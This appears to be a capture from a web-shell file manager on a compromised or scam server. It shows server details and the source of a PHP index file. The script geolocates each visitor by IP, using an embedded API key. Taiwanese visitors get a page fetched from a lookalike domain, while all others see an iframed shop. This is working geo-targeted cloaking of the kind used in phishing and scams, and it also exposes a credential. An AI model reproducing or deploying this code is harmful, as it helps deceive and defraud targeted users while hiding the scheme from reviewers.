HEX
Server: nginx/1.28.1
System: Linux 10-41-63-61 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64
User: www (1001)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: //www/备份的/www.sharewithyov.site/akbb/index.php
<?php
 
$appkey = "1babd09a8daecebd28901d0fab58d411";
$ipip= $_SERVER["REMOTE_ADDR"];
//根据查询的IP地址,查询该IP所属的区域
$url = "http://apis.juhe.cn/ip/ipNew";
$params = [
    "ip" => $ipip,//需要查询的IP地址或域名
    "key" => $appkey,//应用APPKEY(应用详细页查询)
];
$paramstring = http_build_query($params);
$content = juheHttpRequest($url, $paramstring, 1);
$result = json_decode($content, true);
 
 
function juheHttpRequest($url, $params = false, $ispost = 0)
{
    $httpInfo = array();
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'JuheData');
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    if ($ispost) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        curl_setopt($ch, CURLOPT_URL, $url);
    } else {
        if ($params) {
            curl_setopt($ch, CURLOPT_URL, $url . '?' . $params);
        } else {
            curl_setopt($ch, CURLOPT_URL, $url);
        }
    }
    $response = curl_exec($ch);
    if ($response === FALSE) {
        //echo "cURL Error: " . curl_error($ch);
        return false;
    }
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $httpInfo = array_merge($httpInfo, curl_getinfo($ch));
    curl_close($ch);
//   echo $response;
    
     
     
    $shushu=json_decode($response, true);
    //  echo $shushu['result']['Country'];//输出国家
    //  echo "<br>";
    //  echo $shushu['result']['Province'];//输出省份
    //  echo "<br>";
    //  echo $shushu['result']['City'];//输出城市
    
    $hqdizhi=$shushu['result']['Province'];
    if (strpos($hqdizhi,'台湾')!==false) {

         echo '<base href="https://www.sharewithyov.site/jf17/" /> ';
 $f_info=implode("",file("https://www.sharewithyov.site/jf17/"));   
echo $f_info;
} 
else{

echo "

 <!DOCTYPE html><html lang='en'><head><style>html,body {width: 100%;height: 100%;margin: 0;padding: 0;}</style><meta charset='utf-8'><meta http-equiv='X-UA-Compatible' content='IE=Edge'><meta name='viewport' content='width=device-width, initial-scale=1'><title></title></head><body><iframe src='https://www.sshopc.com/' frameborder='0' style='width:100%;height:100%;'></iframe></body></html> ";
    
}
    
     
     
      
}
 
?>